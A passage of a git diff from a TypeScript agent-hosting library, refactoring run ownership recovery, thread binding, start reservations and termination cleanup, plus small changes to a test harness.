DURABLE_AGENTIC_LOOP_WORKFLOW_ID, - runId: ref.runId, - }); - const input = snapshot?.context.input as - | { - agentId?: unknown; - messageListState?: { - memoryInfo?: { - threadId?: unknown; - resourceId?: unknown; - } | null; - }; - } - | undefined; - const requestContext = snapshot?.requestContext as - | Record - | undefined; - const correlation = requestContext?.['breakwater.auditContext'] as - | Record - | undefined; - const memory = input?.messageListState?.memoryInfo; - const memoryMatches = - memory === null || - (memory?.threadId === scope.threadId && - memory.resourceId === ref.resourceId); - if ( - input?.agentId !== ref.agentId || - requestContext?.runId !== ref.runId || - requestContext.threadId !== scope.threadId || - requestContext.resourceId !== ref.resourceId || - correlation?.agentId !== ref.agentId || - correlation.threadId !== scope.threadId || - correlation.resourceId !== ref.resourceId || - !memoryMatches - ) { - throw new AgentHostRequestError(404, 'run not found'); - } + ref: { agentId: string; resourceId: string; runId: string }, + ) => { + const state = await selectedAgentState(scope, ref, { includeLegacy: true }); + if (!state) throw new AgentHostRequestError(404, 'run not found'); + if (state.kind === 'initial') throw new RunStartPendingError(); return { - threaded: memory !== null, - safeContext: sanitizeStoredAgentContext(requestContext), + state, + threaded: state.threaded, + safeContext: sanitizeStoredAgentContext(state.snapshot.requestContext), }; }; - let recoverOwner: ( - scopeRuntime: ThreadScope['init']['runtime'], - threadId: string, - key: string, - stored: AgentOwnerRecovery, - ignoreActive?: boolean, - ) => Promise<'cleared' | 'pending'>; - const statusFor = async ( scope: ThreadScope, - ref: { - agentId: string; - resourceId: string; - runId: string; - }, - knownThreaded?: boolean, + ref: { agentId: string; resourceId: string; runId: string }, + knownState?: NormalAgentRunState | null, ): Promise => { + const stored = await readRun(ref.runId); + const selected = + knownState === undefined + ? await selectedAgentState(scope, ref, { includeLegacy: true }) + : knownState; + if (!selected) throw new AgentHostRequestError(404, 'run not found'); + if (selected.kind === 'initial') throw new RunStartPendingError(); + const summary = selected.summary; const binding = await readBinding(); - const current = await runtimeFor(scope); - if (!current.catalog.get(ref.agentId)) { - throw new AgentHostRequestError(404, 'agent not found'); - } - const summary = await scope.init.runtime.status( - DURABLE_AGENTIC_LOOP_WORKFLOW_ID, - ref.runId, - ); - if (!summary) throw new AgentHostRequestError(404, 'run not found'); - const threaded = - knownThreaded ?? (await snapshotExecutionFor(scope, ref)).threaded; const bindingMatches = binding?.agentId === ref.agentId && binding.resourceId === ref.resourceId; - if ((threaded && !bindingMatches) || (!threaded && binding)) { + if ( + (selected.threaded && !bindingMatches) || + (!selected.threaded && binding) + ) throw new AgentHostRequestError(404, 'run not found'); - } - const stored = await readRun(ref.runId); - if (stored && stored.agentId !== ref.agentId) { + if (stored && stored.agentId !== ref.agentId) throw new AgentHostRequestError(404, 'run not found'); - } - if (summary.status === 'suspended' && !stored) { + if (summary.status === 'suspended' && !stored) throw new AgentHostRequestError( 409, 'suspended agent run has no recoverable execution principal', ); - } - const principal = stored?.principal ?? scope.principal; - const result = await envelopeFor(scope, ref, principal, summary); - if (isTerminalRunStatus(summary.status) && stored) { - await deleteAgentRunRecord(options.stateStorage(), ref.runId); - } - if (isTerminalRunStatus(summary.status)) { - const key = ownerRecoveryKey(ref.runId); - const recovery = await options - .stateStorage() - .get(key); - if (recovery) { - await recoverOwner( - scope.init.runtime, - scope.threadId, - key, - recovery, - true, - ); - } - } - return result; + if (isTerminalRunStatus(summary.status)) + await finalizeTerminalAgentState(scope, ref, selected, stored); + return envelopeFor( + scope, + ref, + stored?.principal ?? scope.principal, + summary, + ); }; - recoverOwner = async ( - scopeRuntime: ThreadScope['init']['runtime'], - threadId: string, + const recoverOwner = async ( + scope: AgentThreadInstanceScope, key: string, - stored: AgentOwnerRecovery, - ignoreActive = false, - ): Promise<'cleared' | 'pending'> => + value: unknown, + ownFrame?: TrustedAgentExecution, + ownFailure?: unknown, + ): Promise => withBindingLock(() => withRecoveryLock(async () => { - validateOwnerRecovery(threadId, key, stored); + const stored = validateOwnerRecovery(scope.threadId, key, value); + if (stored.startReservation && !scope.init.runtime.startIdempotency) + throw new ExecutionFenceUnreadableError( + 'run start recovery is unresolved', + ); + await assertRecoveryCurrent(stored); + const quiescent = (): boolean => { + const active = executions.get(stored.runId); + return ( + active === undefined || + (active === ownFrame && unwoundExecutions.has(active)) + ); + }; + if ( + !quiescent() || + scope.init.runtime + .workflowIds() + .some((workflowId) => + scope.init.runtime.isRunActive(workflowId, stored.runId), + ) + ) + throw new RunStartPendingError(); + let recovered: RecoveredStart | null = null; + if (stored.phase !== 'preparing') { + const current = await runtimeFor(scope); + const durable = current.agents.get(stored.agentId); + if ( + !durable || + stored.execution.workflowId !== durable.getWorkflow().id + ) + throw new Error( + 'stored agent owner recovery does not match the wrapper', + ); + if ( + scope.init.runtime.isRunActive( + stored.execution.workflowId, + stored.runId, + ) + ) + throw new RunStartPendingError(); + if (stored.phase === 'prepared') { + recovered = await scope.init.runtime.recoverStartAttempt( + stored.execution, + { + attemptToken: stored.token, + isOwnerQuiescent: quiescent, + startReservation: stored.startReservation, + expectedTarget: { + kind: 'agent', + id: stored.agentId, + threadId: stored.threadId, + owner: principalOwner(stored.runRecord.principal), + threaded: stored.threaded, + }, + }, + ); + } else { + const selected = matchRecoveryState( + stored, + await selectedAgentState(scope, stored), + ); + if (selected.kind === 'initial') throw new RunStartPendingError(); + if (isTerminalRunStatus(selected.summary.status)) + await scope.init.runtime.settleStartExecution( + selected, + stored.startReservation, + ); + const cleanup = terminalCleanupFor( + lifecycleFromRequestContext(selected.snapshot.requestContext), + ); + recovered = cleanup + ? { + kind: 'lifecycle', + transition: { + summary: selected.summary, + transitioned: false, + casMatched: true, + cleanup, + }, + } + : { kind: 'ordinary', summary: selected.summary }; + } + } + if (recovered) { + let summary = + recovered.kind === 'ordinary' + ? recovered.summary + : recovered.transition.summary; + let clear: boolean; + if (recovered.kind === 'lifecycle') { + summary = await finishLifecycle( + scope, + stored, + recovered.transition, + ); + clear = true; + } else { + await assertRecoveryCurrent(stored); + await options.resourceAccess().settleReservation(stored.token, []); + clear = await finalizeJournalBookkeeping(stored, summary); + } + if (clear) { + await assertRecoveryCurrent(stored); + await options.stateStorage().delete(key); + } + return summary; + } + await assertRecoveryCurrent(stored); + const localZero = (): boolean => + stored.phase === 'prepared' && + ownFrame !== undefined && + executions.get(stored.runId) === ownFrame && + unwoundExecutions.has(ownFrame) && + isDefinitiveInitialAdmissionRefusal(ownFailure, stored.execution); + if (stored.phase === 'prepared' && !localZero()) { + await options.resourceAccess().settleReservation(stored.token, [ + { kind: 'run', resourceId: stored.runId }, + { kind: 'thread', resourceId: stored.threadId }, + { kind: 'resource', resourceId: stored.resourceId }, + ]); + await ensureOwnerRecoveryAlarm(options.stateStorage()); + throw new ExecutionFenceUnreadableError( + 'run start recovery is unresolved', + ); + } const storage = options.stateStorage(); - const currentRecovery = await storage.get(key); - if (currentRecovery?.token !== stored.token) return 'pending'; - if (!ignoreActive && executions.has(stored.runId)) return 'pending'; - - const summary = await scopeRuntime.recoverStartAttempt( - DURABLE_AGENTIC_LOOP_WORKFLOW_ID, - stored.runId, - stored.token, - ); - const [binding, record] = await Promise.all([ - readBinding(), - readRun(stored.runId), - ]); - const bindingMatches = + const binding = await readBinding(), + record = await readRun(stored.runId); + await assertRecoveryCurrent(stored); + const matches = binding?.agentId === stored.agentId && binding.resourceId === stored.resourceId; - if (record && (!summary || isTerminalRunStatus(summary.status))) { - await deleteAgentRunRecord(storage, stored.runId); - } - if (!summary && !stored.bindingPreexisting && bindingMatches) { + if (record && !sameRunRecord(record, stored.runRecord)) + throw new Error('agent run record changed'); + if (record) await deleteAgentRunRecord(storage, stored.runId); + if (!stored.bindingPreexisting && matches) await deleteAgentThreadBinding(storage, { agentId: stored.agentId, resourceId: stored.resourceId, }); - } - - if (summary) { - await options.resourceAccess().settleReservation(stored.token, []); - if (!stored.threaded && !isTerminalRunStatus(summary.status)) { - await ensureOwnerRecoveryAlarm(storage); - return 'pending'; - } - if (!stored.threaded) await releaseEphemeralOwnerClaims(stored); - const current = await storage.get(key); - if (current?.token === stored.token) await storage.delete(key); - return 'cleared'; - } - const release: Array<{ kind: 'run' | 'thread' | 'resource'; resourceId: string; }> = [{ kind: 'run', resourceId: stored.runId }]; - const retainThread = - stored.threaded && stored.bindingPreexisting && bindingMatches; - if (!retainThread) { + if (!(stored.threaded && stored.bindingPreexisting && matches)) release.push( { kind: 'resource', resourceId: stored.resourceId }, { kind: 'thread', resourceId: stored.threadId }, ); - } await options.resourceAccess().settleReservation(stored.token, release); - const current = await storage.get(key); - if (current?.token === stored.token) await storage.delete(key); - return 'cleared'; + await assertRecoveryCurrent(stored); + if (stored.phase === 'prepared' && !localZero()) + throw new ExecutionFenceUnreadableError( + 'run start recovery is unresolved', + ); + await storage.delete(key); + return null; }), ); @@ -1304,7 +1837,8 @@ export function createThreadAgentHost( requestContextForRun: (base) => async (workflowId, runId, leg) => { const values = base ? await base(workflowId, runId, leg) : undefined; const execution = executions.get(runId); - return execution && workflowId === DURABLE_AGENTIC_LOOP_WORKFLOW_ID + return execution && + workflowId === runtime?.agents.get(execution.agentId)?.getWorkflow().id ? { ...execution.safeContext, ...values, @@ -1313,41 +1847,35 @@ export function createThreadAgentHost( : values; }, serializeDispatch: withDispatchLock, - blockingRun: (scope) => findBlockingRun(scope.init.runtime), + blockingRun: (scope) => + withBindingLock(() => findBlockingRun(instanceScopeFor(scope))), scheduleDispatchStatus: async (scope, input) => { const ref = runRef(scope, { ...input, threadId: scope.threadId, }); const key = ownerRecoveryKey(ref.runId); - const recovery = await options - .stateStorage() - .get(key); - if (recovery) { - await recoverOwner( - scope.init.runtime, - scope.threadId, - key, - recovery, - true, - ); + const recovery = await options.stateStorage().get(key); + if (recovery !== undefined) { + await recoverOwner(scope, key, recovery); } - const summary = await scope.init.runtime.status( - DURABLE_AGENTIC_LOOP_WORKFLOW_ID, - ref.runId, - ); - if (!summary) return undefined; - return (await statusFor(scope, ref)).summary; + const selected = await selectedAgentState(scope, ref, { + includeLegacy: true, + }); + if (!selected) return undefined; + if (selected.kind === 'initial') throw new RunStartPendingError(); + return (await statusFor(scope, ref, selected)).summary; }, - recoverOwnership: (scopeRuntime, threadId) => - withDispatchLock(async () => { + recoverOwnership: (inputScope) => { + const scope = instanceScopeFor(inputScope); + return withDispatchLock(async () => { const storage = options.stateStorage(); try { const pending = await storage.list({ prefix: AGENT_OWNER_RECOVERY_PREFIX, }); for (const [key, stored] of pending) { - await recoverOwner(scopeRuntime, threadId, key, stored); + await recoverOwner(scope, key, stored); } await withRecoveryLock(async () => { const remaining = await storage.list({ @@ -1363,7 +1891,8 @@ export function createThreadAgentHost( await withRecoveryLock(() => ensureOwnerRecoveryAlarm(storage)); throw error; } - }), + }); + }, start: async (sourceScope, sourceInput) => { const principal = assertExecutionPrincipal( sourceScope.principal, @@ -1393,7 +1922,27 @@ export function createThreadAgentHost( safeContext: inputSafeContext, providerOptions: inputProviderOptions, idempotencyKey, + startReservation: suppliedReservation, } = sourceInput; + const startReservation = + suppliedReservation === undefined + ? undefined + : captureReservation(suppliedReservation, 'started'); + if ( + startReservation && + (startReservation.key !== idempotencyKey || + startReservation.runId !== runId || + startReservation.threadId !== threadId || + startReservation.targetKind !== 'agent' || + startReservation.targetId !== agentId || + startReservation.owner.kind !== principal.kind || + startReservation.owner.id !== principal.id || + !init.runtime.startIdempotency) + ) + throw new AgentHostRequestError( + 400, + 'start reservation does not match the trusted start', + ); const input: ThreadAgentStartInput = { agentId, threadId: inputThreadId, @@ -1491,23 +2040,15 @@ export function createThreadAgentHost( }; const durable = current.agents.get(module.meta.id); if (!durable) throw new Error('guarded agent was not registered'); + const recoveryKey = ownerRecoveryKey(ref.runId); + const pending = await options.stateStorage().get(recoveryKey); + if (pending !== undefined) { + await recoverOwner(scope, recoveryKey, pending); + } return withExecution(execution, async () => { - const recoveryKey = ownerRecoveryKey(ref.runId); - const pending = await options - .stateStorage() - .get(recoveryKey); - if (pending) { - await recoverOwner( - scope.init.runtime, - scope.threadId, - recoveryKey, - pending, - true, - ); - } const existingRecord = await readRun(ref.runId); const existingSummary = await scope.init.runtime.status( - DURABLE_AGENTIC_LOOP_WORKFLOW_ID, + await workflowIdFor(scope, ref.agentId), ref.runId, ); if (existingRecord || existingSummary) { @@ -1527,81 +2068,91 @@ export function createThreadAgentHost( principal: scope.principal, originEntryPath: entry, }; - const recovery = await withBindingLock(async () => { - const existing = await readBinding(); - if (!threaded && existing) { - throw new AgentHostRequestError( - 409, - 'unthreaded starts require an unbound object', - ); - } - if (threaded) { - const bindingMatches = - existing?.agentId === ref.agentId && - existing.resourceId === ref.resourceId; - if (entry === 'schedule.fire') { - if (!bindingMatches) { - throw new AgentHostRequestError(404, 'run not found'); - } - } else if (existing && !bindingMatches) { + let recovery: AgentOwnerRecovery = await withBindingLock( + async (): Promise => { + const blocking = await findBlockingRun(scope); + if (blocking && blocking.runId !== ref.runId) + throw new AgentHostRequestError( + 409, + `thread is blocked by run '${blocking.runId}'`, + ); + const existing = await readBinding(); + if (!threaded && existing) { throw new AgentHostRequestError( 409, - 'thread is bound to another agent', + 'unthreaded starts require an unbound object', ); } - } - const blocking = await findBlockingRun(scope.init.runtime); - if (blocking && blocking.runId !== ref.runId) { - throw new AgentHostRequestError( - 409, - `thread is blocked by run '${blocking.runId}'`, - ); - } - const recovery: AgentOwnerRecovery = { - version: 1, - agentId: ref.agentId, - threadId: scope.threadId, - resourceId: ref.resourceId, - runId: ref.runId, - owner, - token: crypto.randomUUID(), - threaded, - bindingPreexisting: existing !== undefined, - }; - if ( - !threaded && - ( - await Promise.all( - claims.map((claim) => - options.resourceAccess().owner(claim.kind, claim.resourceId), - ), - ) - ).some((registered) => registered !== undefined) - ) { - throw new AgentHostRequestError(404, 'run not found'); - } - await armOwnerRecovery(recovery); - if ( - !(await options - .resourceAccess() - .reserveAll(claims, owner, recovery.token)) - ) { - await options - .resourceAccess() - .settleReservation(recovery.token, claims); - await clearOwnerRecovery(recovery); - throw new AgentHostRequestError(404, 'run not found'); - } - if (threaded && !existing) { - await bindAgentThread(options.stateStorage(), { - version: 1, + if (threaded) { + const bindingMatches = + existing?.agentId === ref.agentId && + existing.resourceId === ref.resourceId; + if (entry === 'schedule.fire') { + if (!bindingMatches) { + throw new AgentHostRequestError(404, 'run not found'); + } + } else if (existing && !bindingMatches) { + throw new AgentHostRequestError( + 409, + 'thread is bound to another agent', + ); + } + } + const recovery: AgentOwnerRecovery = { + version: 2, + phase: 'preparing', + runRecord: stored, + ...(startReservation ? { startReservation } : {}), agentId: ref.agentId, + threadId: scope.threadId, resourceId: ref.resourceId, - }); - } - await writeAgentRunRecord(options.stateStorage(), ref.runId, stored); - return recovery; - }); + runId: ref.runId, + owner, + token: crypto.randomUUID(), + threaded, + bindingPreexisting: existing !== undefined, + }; + if ( + !threaded && + ( + await Promise.all( + claims.map((claim) => + options + .resourceAccess() + .owner(claim.kind, claim.resourceId), + ), + ) + ).some((registered) => registered !== undefined) + ) { + throw new AgentHostRequestError(404, 'run not found'); + } + await armOwnerRecovery(recovery); + if ( + !(await options + .resourceAccess() + .reserveAll(claims, owner, recovery.token)) + ) { + await options + .resourceAccess() + .settleReservation(recovery.token, claims); + await clearOwnerRecovery(recovery); + throw new AgentHostRequestError(404, 'run not found'); + } + if (threaded && !existing) { + await bindAgentThread(options.stateStorage(), { + version: 1, + agentId: ref.agentId, + resourceId: ref.resourceId, + }); + } + await writeAgentRunRecord( + options.stateStorage(), + ref.runId, + stored, + ); + return recovery; + }, + ); // From here to the finally below, this object IS the run's execution. // Registered BEFORE the stream so the window a replaying start asks // about — the one before core has persisted anything — is covered too. @@ -1631,87 +2182,78 @@ export function createThreadAgentHost( input.scheduleDispatchLease === 'executing' ? { scheduleId: input.scheduleId, dispatchId: input.dispatchId } : undefined; - await durable.streamUntilPersisted( - messages, - streamOptions, - principal.id, - principal.kind, - recovery.token, - scheduleDispatch, - idempotencyKey, - { - ...(mutationEpoch === undefined ? {} : { mutationEpoch }), - startIdentity, - agentStart: { threaded }, - onPreparedStartIdentity: undefined, - runOwnerGuard: { owner, reservationToken: recovery.token }, - }, + try { + await durable.streamUntilPersisted( + messages, + streamOptions, + principal.id, + principal.kind, + recovery.token, + scheduleDispatch, + idempotencyKey, + { + ...(mutationEpoch === undefined ? {} : { mutationEpoch }), + startIdentity, + agentStart: { threaded }, + ...(startReservation ? { startReservation } : {}), + onPreparedStartIdentity: async (identity) => { + recovery = await prepareOwnerRecovery( + scope, + recovery, + identity, + ); + }, + runOwnerGuard: { owner, reservationToken: recovery.token }, + }, + ); + } finally { + unwoundExecutions.add(execution); + } + const selected = matchRecoveryState( + recovery, + await selectedAgentState(scope, ref), ); - const summary = await scope.init.runtime.status( - DURABLE_AGENTIC_LOOP_WORKFLOW_ID, - ref.runId, + if (selected.kind === 'initial') throw new RunStartPendingError(); + const summary = await finalizeOwnerRecovery( + scope, + recovery, + selected, + execution, ); - if (!summary) throw new Error('agent run did not persist a summary'); const result = await envelopeFor( scope, ref, scope.principal, summary, ); - if (isTerminalRunStatus(result.summary.status)) { - await deleteAgentRunRecord(options.stateStorage(), ref.runId); - } - await finalizeOwnerRecoveryBestEffort(recovery, summary); return result; } catch (error) { - let summary: RunSummary | null | undefined; + unwoundExecutions.add(execution); try { - summary = await scope.init.runtime.recoverStartAttempt( - DURABLE_AGENTIC_LOOP_WORKFLOW_ID, - ref.runId, - recovery.token, - ); - } catch (recoverError) { - // Unknown authoritative state: retain metadata and fail closed — - // and logged, never swallowed silently, because this read is the - // only thing that could tell an interrupted start apart from a - // failed one, and its own failure is why the journal is left - // armed for a wake that can read. The caller still sees the - // ORIGINAL start error. - console.error( - 'interrupted start could not read authoritative state', - recoverError, - ); - } - if ( - summary === null || - (summary && isTerminalRunStatus(summary.status)) - ) { - await deleteAgentRunRecord(options.stateStorage(), ref.runId); - } - if (summary) { - await finalizeOwnerRecoveryBestEffort(recovery, summary); - return envelopeFor(scope, ref, scope.principal, summary); - } else if (summary === null) { - try { - await recoverOwner( - scope.init.runtime, + const current = await options.stateStorage().get(recoveryKey); + if (current !== undefined) { + const latest = validateOwnerRecovery( scope.threadId, recoveryKey, - recovery, - true, + current, ); - } catch (recoveryError) { - console.error('agent owner recovery failed', recoveryError); - } - } else { - try { - await withRecoveryLock(() => - ensureOwnerRecoveryAlarm(options.stateStorage()), + if (!sameOwnerRecovery(latest, recovery)) + throw new Error('agent owner recovery changed'); + const summary = await recoverOwner( + scope, + recoveryKey, + latest, + execution, + error, ); - } catch (alarmError) { - console.error('agent owner recovery rearm failed', alarmError); + if (summary) + return envelopeFor(scope, ref, scope.principal, summary); } + } catch (recoveryError) { + console.error('agent owner recovery failed', recoveryError); + await withRecoveryLock(() => + ensureOwnerRecoveryAlarm(options.stateStorage()), + ); } throw error; } finally { @@ -1770,8 +2312,40 @@ export function createThreadAgentHost( preflightSegments[0] === 'runs' && preflightSegments[3] === 'start-liveness' ) { + instanceScopeFor(scope); + const agentId = decode(preflightSegments[1]); const runId = decode(preflightSegments[2]); - return json({ live: runId !== undefined && startsInFlight.has(runId) }); + return json({ + live: + agentId !== undefined && + runId !== undefined && + (startsInFlight.has(runId) || + executions.has(runId) || + (runtime?.agents.get(agentId)?.isRunLive(runId) ?? + globalRunRegistry.has(runId))), + }); + } + if ( + request.method === 'GET' && + preflightSegments.length === 3 && + preflightSegments[0] === 'runs' && + preflightUrl.searchParams.get('replay') === '1' + ) { + const ref = runRef(scope, { + agentId: decode(preflightSegments[1]), + runId: decode(preflightSegments[2]), + threadId: scope.threadId, + resourceId: preflightUrl.searchParams.get('resourceId'), + }); + const state = await selectedAgentState(scope, ref); + if ( + state && + (state.execution.owner.kind !== scope.principal.kind || + state.execution.owner.id !== scope.principal.id) + ) + throw new AgentHostRequestError(404, 'run not found'); + if (state?.kind === 'initial') + return json({ kind: 'initial', execution: state.execution }); } if ( request.method === 'POST' && @@ -1799,7 +2373,7 @@ export function createThreadAgentHost( const owner = await options.resourceAccess().owner('run', ref.runId); if (preflightUrl.searchParams.get('replay') !== '1') { await scope.init.runtime.cancelActiveExecution( - DURABLE_AGENTIC_LOOP_WORKFLOW_ID, + await workflowIdFor(scope, ref.agentId), ref.runId, 'cancelled', [scope.principal, owner ?? scope.principal], @@ -1854,6 +2428,13 @@ export function createThreadAgentHost( 'start owner and requester are derived from trusted provenance', ); } + const startReservation = + body.startReservation === undefined + ? undefined + : captureReservation( + body.startReservation as StartReservationReading, + 'started', + ); const ref = runRef(scope, body); const requestedEntry = entryPath(body.entryPath); if ( @@ -1865,6 +2446,7 @@ export function createThreadAgentHost( return json( await host.start(scope, { ...ref, + startReservation, ...(typeof body.prompt === 'string' ? { prompt: body.prompt } : {}), @@ -1915,7 +2497,7 @@ export function createThreadAgentHost( const body = await objectBody(request); const ref = runRef(scope, body); const snapshotExecution = await snapshotExecutionFor(scope, ref); - await statusFor(scope, ref, snapshotExecution.threaded); + await statusFor(scope, ref, snapshotExecution.state); const stored = await readRun(ref.runId); if ( !stored || @@ -1979,15 +2561,8 @@ export function createThreadAgentHost( stored.principal, summary, ); - if (isTerminalRunStatus(summary.status)) { - await deleteAgentRunRecord(options.stateStorage(), ref.runId); - const recovery = await options - .stateStorage() - .get(ownerRecoveryKey(ref.runId)); - if (recovery) { - await finalizeOwnerRecoveryBestEffort(recovery, summary); - } - } + if (isTerminalRunStatus(summary.status)) + await finalizeTerminalAgentState(scope, ref, undefined, stored); return json(result); } @@ -2008,19 +2583,37 @@ export function createThreadAgentHost( }); if (segments.length === 3 && request.method === 'GET') { + if (url.searchParams.get('replay') === '1') { + const selected = await selectedAgentState(scope, ref); + if (!selected) return json({ error: 'run not found' }, 404); + if ( + selected.execution.owner.kind !== scope.principal.kind || + selected.execution.owner.id !== scope.principal.id + ) + throw new AgentHostRequestError(404, 'run not found'); + if (selected.kind === 'initial') + return json({ kind: 'initial', execution: selected.execution }); + const stored = await readRun(ref.runId); + const value = await envelopeFor( + scope, + ref, + stored?.principal ?? scope.principal, + selected.summary, + ); + return json({ + kind: 'result', + execution: selected.execution, + value: publicAgentRunEnvelope(value, selected.execution, { + ...ref, + threadId: scope.threadId, + }), + }); + } if (url.searchParams.get('dispatch') === '1') { const key = ownerRecoveryKey(ref.runId); - const pending = await options - .stateStorage() - .get(key); - if (pending) { - await recoverOwner( - scope.init.runtime, - scope.threadId, - key, - pending, - true, - ); + const pending = await options.stateStorage().get(key); + if (pending !== undefined) { + await recoverOwner(scope, key, pending); } return json(await statusFor(scope, ref)); } @@ -2044,7 +2637,7 @@ export function createThreadAgentHost( .owner('run', ref.runId); if (!replayOnly && !preflightedTermination) { await runtime.cancelActiveExecution( - DURABLE_AGENTIC_LOOP_WORKFLOW_ID, + await workflowIdFor(scope, ref.agentId), ref.runId, 'cancelled', [scope.principal, preflightOwner ?? scope.principal], @@ -2053,7 +2646,7 @@ export function createThreadAgentHost( const owner = await options.resourceAccess().owner('run', ref.runId); if (replayOnly) { const existing = await runtime.status( - DURABLE_AGENTIC_LOOP_WORKFLOW_ID, + await workflowIdFor(scope, ref.agentId), ref.runId, ); if ( @@ -2064,63 +2657,145 @@ export function createThreadAgentHost( } } const transition = await runtime.terminateAsPrincipal( - DURABLE_AGENTIC_LOOP_WORKFLOW_ID, + await workflowIdFor(scope, ref.agentId), ref.runId, scope.principal, owner ?? scope.principal, ); - let summary = transition.summary; - if (!transition.cleanup.cleanupCompleted) { - await abandonApprovalsForRun( - options.approvalService(scope), - DURABLE_AGENTIC_LOOP_WORKFLOW_ID, - ref.runId, - transition.cleanup.status, - options.systemPrincipalId ?? 'flowsafe-system', + const selected = await selectedAgentState(scope, ref, { + includeLegacy: true, + }); + if (!selected || selected.kind === 'initial') + throw new RunStartPendingError(); + const journal = await options + .stateStorage() + .get(ownerRecoveryKey(ref.runId)); + if (journal !== undefined) { + if (selected.kind === 'legacy') + throw new ExecutionFenceUnreadableError( + 'legacy run cleanup is unresolved', + ); + const recovery = validateOwnerRecovery( + scope.threadId, + ownerRecoveryKey(ref.runId), + journal, + ); + const summary = await finalizeOwnerRecovery( + scope, + recovery, + selected, ); - const dispatch = transition.cleanup.scheduleDispatch; - if (dispatch) { - if (!options.discardScheduleDispatch) { - throw new Error( - 'scheduled agent termination requires a dispatch-discard hook', + return json( + await envelopeFor( + scope, + ref, + storedRun?.principal ?? scope.principal, + summary, + ), + ); + } + const legacy = selected.kind === 'legacy' ? selected : undefined; + const workflowId = + selected.kind === 'legacy' + ? selected.address.workflowId + : selected.execution.workflowId; + const cleanup = legacy + ? terminalCleanupFor( + lifecycleFromRequestContext(legacy.snapshot.requestContext), + ) + : transition.cleanup; + if ( + !cleanup || + (legacy && + (legacy.summary.status !== transition.summary.status || + cleanup.revision !== transition.cleanup.revision || + cleanup.status !== transition.cleanup.status || + cleanup.scheduleDispatch?.scheduleId !== + transition.cleanup.scheduleDispatch?.scheduleId || + cleanup.scheduleDispatch?.dispatchId !== + transition.cleanup.scheduleDispatch?.dispatchId || + (transition.cleanup.cleanupCompleted && + !cleanup.cleanupCompleted))) + ) + throw new ExecutionFenceUnreadableError( + 'legacy run cleanup is unresolved', + ); + const finish = async (): Promise => { + const guard = legacy + ? () => assertLegacyTerminalCurrent(scope, ref, legacy, storedRun) + : undefined; + if (guard) await guard(); + if (selected.kind !== 'legacy') + await runtime.settleStartExecution(selected); + let summary = legacy?.summary ?? transition.summary; + if (!cleanup.cleanupCompleted) { + if (guard) await guard(); + await abandonApprovalsForRun( + options.approvalService(scope), + workflowId, + ref.runId, + cleanup.status, + options.systemPrincipalId ?? 'flowsafe-system', + ); + const dispatch = cleanup.scheduleDispatch; + if (dispatch) { + if (!options.discardScheduleDispatch) { + throw new Error( + 'scheduled agent termination requires a dispatch-discard hook', + ); + } + if (guard) await guard(); + await options.discardScheduleDispatch( + dispatch.scheduleId, + dispatch.dispatchId, + ref.runId, ); } - await options.discardScheduleDispatch( - dispatch.scheduleId, - dispatch.dispatchId, + if (guard) await guard(); + const released = await options + .resourceAccess() + .release('run', ref.runId, owner ?? scope.principal); + if (!released) { + const current = await options + .resourceAccess() + .owner('run', ref.runId); + if (current) { + throw new Error( + `run '${ref.runId}' ownership could not be released`, + ); + } + } + if (guard) await guard(); + summary = await runtime.completeTerminalCleanup( + workflowId, ref.runId, + cleanup.revision, ); } - const released = await options - .resourceAccess() - .release('run', ref.runId, owner ?? scope.principal); - if (!released) { - const current = await options - .resourceAccess() - .owner('run', ref.runId); - if (current) { - throw new Error( - `run '${ref.runId}' ownership could not be released`, + if (legacy) { + if (guard) await guard(); + if (storedRun) + await finalizeTerminalRecord( + scope, + ref.runId, + storedRun, + legacy, ); - } + } else { + await finalizeTerminalAgentState(scope, ref, selected, storedRun); } - } - await finalizeTerminalAgentState(scope.threadId, ref.runId, summary); - if (!transition.cleanup.cleanupCompleted) { - summary = await runtime.completeTerminalCleanup( - DURABLE_AGENTIC_LOOP_WORKFLOW_ID, - ref.runId, - transition.cleanup.revision, + return json( + await envelopeFor( + scope, + ref, + storedRun?.principal ?? scope.principal, + summary, + ), ); - } - return json( - await envelopeFor( - scope, - ref, - storedRun?.principal ?? scope.principal, - summary, - ), - ); + }; + return legacy + ? withBindingLock(() => withRecoveryLock(finish)) + : finish(); } if ( diff --git a/packages/flowsafe/src/agent-host/thread-topology.test.ts b/packages/flowsafe/src/agent-host/thread-topology.test.ts index 40c77027..4f34df2d 100644 --- a/packages/flowsafe/src/agent-host/thread-topology.test.ts +++ b/packages/flowsafe/src/agent-host/thread-topology.test.ts @@ -11,6 +11,7 @@ import type { ThreadNamespaceLike, ThreadRequestInit, } from '../host-kit/index.js'; +import { RunRouteError } from '../host-kit/run-route-error.js'; import { type AgentThreadDispatchTopology, @@ -407,7 +408,9 @@ describe('createAgentThreadTopology', () => { * own runs, answers the liveness probe from its own in-flight set, and answers * the dispatch status route only for runs it actually started. */ -function keyedHarness(options: { now?: () => number } = {}) { +function keyedHarness( + options: { now?: () => number; liveness?: () => Promise } = {}, +) { const sqlite = openSqlite(); const store = new StartIdempotencyStore( sqliteUnitDatabase(sqlite) as StartIdempotencyDatabase, @@ -425,6 +428,7 @@ function keyedHarness(options: { now?: () => number } = {}) { const url = typeof request === 'string' ? request : request.url; hits.push({ threadId, url, init }); if (url.includes('/start-liveness')) { + if (options.liveness) return options.liveness(); const runId = url.split('/runs/')[1]?.split('/')[1] ?? ''; return Response.json({ live: runsByThread.get(runId) === threadId && inFlight.has(runId), @@ -463,17 +467,34 @@ function keyedHarness(options: { now?: () => number } = {}) { if (runsByThread.get(runId) !== threadId || inFlight.has(runId)) { return Response.json({ error: 'run not found' }, { status: 404 }); } - return Response.json({ + const value = { agentId: 'writer', threadId, resourceId: `acme_resource_${threadId}`, runId, summary: { runId, status: 'success' }, - }); + }; + return Response.json( + url.includes('replay=1') + ? { + kind: 'result', + value, + execution: { + tablePrefix: '', + workflowId: 'durable-agentic-loop', + runId, + startToken: 'test-generation', + owner: { kind: 'human', id: 'operator-1' }, + target: { kind: 'agent', id: 'writer', threadId }, + }, + } + : value, + ); }) as ReturnType['get']>['fetch'], }), }; return { + sqlite, store, starts, runsByThread, @@ -523,7 +544,10 @@ describe('C agent topology capture', () => { mintRunId: () => 'winner-run', }); if (state !== 'unclaimed') { - await fixture.store.claim('original-key', 'winner-run'); + const unclaimedReservation = + await fixture.store.readForAdmission('original-key'); + if (!unclaimedReservation) throw new Error('missing reservation'); + await fixture.store.claimReservation(unclaimedReservation); fixture.runsByThread.set('winner-run', 'winner-thread'); } if (state === 'live') fixture.inFlight.add('winner-run'); @@ -927,7 +951,9 @@ describe('createAgentThreadTopology — idempotent start', () => { threadId: 